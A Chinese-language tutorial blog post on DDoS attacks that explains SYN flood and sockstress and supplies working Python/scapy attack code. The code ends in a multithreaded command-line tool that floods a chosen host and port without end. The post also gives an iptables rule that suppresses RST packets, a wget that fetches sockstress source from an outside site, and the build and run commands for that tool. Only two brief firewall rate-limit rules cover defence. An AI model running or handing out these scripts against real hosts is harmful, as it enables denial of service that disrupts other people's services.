DDOS 攻击的分类与实现

SynFlood 洪水攻击

Syn-Flood攻击属于TCP攻击,Flood类攻击中最常见,危害最大的是Syn-Flood攻击,也是历史最悠久的攻击之一,该攻击属于半开放攻击,攻击实现原理就是通过发送大量半连接状态的数据包,从而耗尽目标系统的连接池,默认情况下每一种系统的并发连接都是有限制的,如果恶意攻击持续进行,将会耗尽系统有限的连接池资源。windows 系统半开连接数是10个

DDOS 攻击的分类与实现

攻击者伪造地址对服务器发起SYN请求,服务器就会回应 SYN+ACK 此时攻击者的主机拒绝发送 RST+ACK 那么,服务器接收不到RST请求,就会认为客户端还没有准备好,会重试3-5次并且等待一个SYN Time(一般30秒-2分钟)后,丢弃这个连接。

虽然有丢弃的环节,但是如果攻击者的攻击速度大于目标主机的丢包速度的话,就会发生拒绝服务,因为TCP连接池一旦被填满,那么真正的连接无法建立,无法响应正常请求。

DDOS 攻击的分类与实现

可以使用scapy工具进行验证,发送一个正常数据包,代码如下,发生攻击后再服务器上通过使用 netstat -n | awk '/^tcp/ {++S[$NF]} END{for(a in S) print a,S[a]}' 匹配所有半开放链接,你可以看都非常多等待状态的连接得不到相应。

ip = IP()
ip.dst="192.168.1.10"
tcp=TCP()
sr1(ip/tcp,verbose=1,timeout=3)
sr1(IP(dst="192.168.1.10")/TCP())

攻击代码如下

#coding=utf-8
import socket, sys, random
from scapy.all import *
scapy.config.conf.iface = 'Realtek PCIe GBE Family Controller'

# windows 系统半开连接数是10个
# iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.1.10 -j DROP
# 匹配所有半开放链接 netstat -n | awk '/^tcp/ {++S[$NF]} END{for(a in S) print a,S[a]}'
# ip = IP()
# ip.dst="192.168.1.10"
# tcp=TCP()
# sr1(ip/tcp,verbose=1,timeout=3)
# sr1(IP(dst="192.168.1.10")/TCP())

target = "192.168.1.20"
dstport = 22
isrc = '%i.%i.%i.%i' % (random.randint(1,254),random.randint(1,254),random.randint(1,254), random.randint(1,254))
isrc = "192.168.1.2"
print(isrc,dstport)

isport = random.randint(1,65535)
ip = IP(src = isrc,dst = target)
syn = TCP(sport = isport, dport = dstport, flags = 'S')
send(ip / syn, verbose = 0)


Sock Stress 全连接攻击

该攻击方式属于TCP全连接攻击,因为需要建立一次完整的TCP三次握手,该攻击的关键点就在于,攻击主机将windows窗口缓冲设置为0,实现的拒绝服务。
攻击者向目标发送一个很小的流量,但是会造成产生的攻击流量是一个巨大的,该攻击消耗的是目标系统的CPU/内存资源,使用低配版的电脑,依然可以让庞大的服务器拒绝服务,也称之为放大攻击。

该攻击与目标建立大量的socket连接,并且都是完整连接,最后的ACK包,将Windows大小设置为0,客户端不接收数据,而服务器会认为客户端缓冲区没有准备好,从而一直等待下去(持续等待将使目标机器内存一直被占用),由于是异步攻击,所以单机也可以拒绝高配的服务器。

DDOS 攻击的分类与实现

#coding=utf-8
import socket, sys, random
from scapy.all import *
scapy.config.conf.iface = 'Realtek PCIe GBE Family Controller'

def sockstress(target,dstport):
    xport = random.randint(0,65535)
    response = sr1(IP(dst=target)/TCP(sport=xport,dport=dstport,flags="S"),timeout=1,verbose=0)
    send(IP(dst=target)/ TCP(dport=dstport,sport=xport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)

sockstress("192.168.1.20",80)

DDOS 攻击的分类与实现

除了自己编写代码实现以外还可以下载一个项目 https://github.com/defuse/sockstress 该项目是发现这个漏洞的作者编写的利用工具,具体使用如下。

iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被攻击主机IP -j DROP
wget https://www.blib.cn/sh/sockstress.c
git clone https://github.com/defuse/sockstress
gcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o
./sockstress 192.168.1.10:3306 eth0
./sockstress 192.168.1.10:80 eth0 -p payloads/http

直到今天sockstress攻击仍然效果明显,由于攻击过程建立了完整的TCP三次握手,所以使用syn cookie防御无效,我们可以通过防火墙限制单位时间内每个IP建立的TCP连接数来阻止这种攻击的蔓延。

[root@localhost ~]# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
[root@localhost ~]# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP

但是该方法依然我发防御DDOS拒绝服务的攻击,这种攻击只能拼机器拼资源了。

最后将前面两种攻击手段封装成一个,该代码只能在Linux系统下使用。

#coding=utf-8
# iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被害IP -j DROP
from optparse import OptionParser
import socket,sys,random,threading
from scapy.all import *

scapy.config.conf.iface = 'ens32'

# 攻击目标主机的Window窗口,实现目标主机内存CPU等消耗殆尽
def sockstress(target,dstport):
    semaphore.acquire()       # 加锁
    isport = random.randint(0,65535)
    response = sr1(IP(dst=target)/TCP(sport=isport,dport=dstport,flags="S"),timeout=1,verbose=0)
    send(IP(dst=target)/ TCP(dport=dstport,sport=isport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)
    print("[+] sendp --> {} {}".format(target,isport))
    semaphore.release()       # 释放锁

# 攻击目标主机TCP/IP半开放连接数,windows系统半开连接数是10个
def synflood(target,dstport):
    semaphore.acquire()       # 加锁
    issrc = '%i.%i.%i.%i' % (random.randint(1,254),random.randint(1,254),random.randint(1,254), random.randint(1,254))
    isport = random.randint(1,65535)
    ip = IP(src = issrc,dst = target)
    syn = TCP(sport = isport, dport = dstport, flags = 'S')
    send(ip / syn, verbose = 0)
    print("[+] sendp --> {} {}".format(target,isport))
    semaphore.release()       # 释放锁

if __name__ == "__main__":
    parser = OptionParser()
    parser.add_option("-H","--host",dest="host",type="string",help="输入被攻击主机IP地址")
    parser.add_option("-p","--port",dest="port",type="int",help="输入被攻击主机端口")
    parser.add_option("--type",dest="types",type="string",help="指定攻击的载荷 (synflood/sockstress)")
    parser.add_option("-t","--thread",dest="thread",type="int",help="指定攻击并发线程数")
    (options,args) = parser.parse_args()
    # 使用方式: main.py --type=synflood -H 192.168.1.1 -p 80 -t 10
    if options.types == "synflood" and options.host and options.port and options.thread:
        semaphore = threading.Semaphore(options.thread)
        while True:
            t = threading.Thread(target=synflood,args=(options.host,options.port))
            t.start()
    elif options.types == "sockstress" and options.host and options.port and options.thread:
        semaphore = threading.Semaphore(options.thread)
        while True:
            t = threading.Thread(target=sockstress,args=(options.host,options.port))
            t.start()
    else:
        parser.print_help()

使用syn flood 攻击方式: python3 c.py --type=synflood -H 192.168.1.10 -p 3389 -t 100

DDOS 攻击的分类与实现

使用sock并发攻击: python3 c.py --type=sockstress -H 192.168.1.10 -p 80 -t 100

DDOS 攻击的分类与实现


以太网数据包分段

数据包的最大传输单位是1500,如果超过这个大小数据包将会分片传输,分片传输则需要设置传输ID号,以及ip.frag_offset偏移值,当设置了偏移值的时候,系统默认根据ID号为单位对数据包进行分段接收,收到全部包时在进行组合,并传输给系统识别。

DDOS 攻击的分类与实现

传输第一个数据包时会跟随有MAC头,上层包头等完整信息,传输后续包的时候默认只会保留IP头与数据段,在IP头保留 Fragment offset 说明这是一个分段传输。

DDOS 攻击的分类与实现

下面以执行ping -l 5000 192.168.1.10 为例,向目标发送5000字节大小的数据包,5000/1480 = 3.37 也就会分四段进行传输。

DDOS 攻击的分类与实现

如下图,可以看出每次发送的数据都是,Total Length: 1500,而Fragment offset则指定每一个数据包的实际偏移值,ID则是数据包的分组号。

DDOS 攻击的分类与实现

最后一个数据包将会把剩下的数据进行传递,并开始差错校验,组合成最终的数据。

DDOS 攻击的分类与实现


DNS查询放大攻击

上一篇:游戏盾智能调度防御网络攻击


下一篇:图片大小相关参数可控导致ddos的一个案例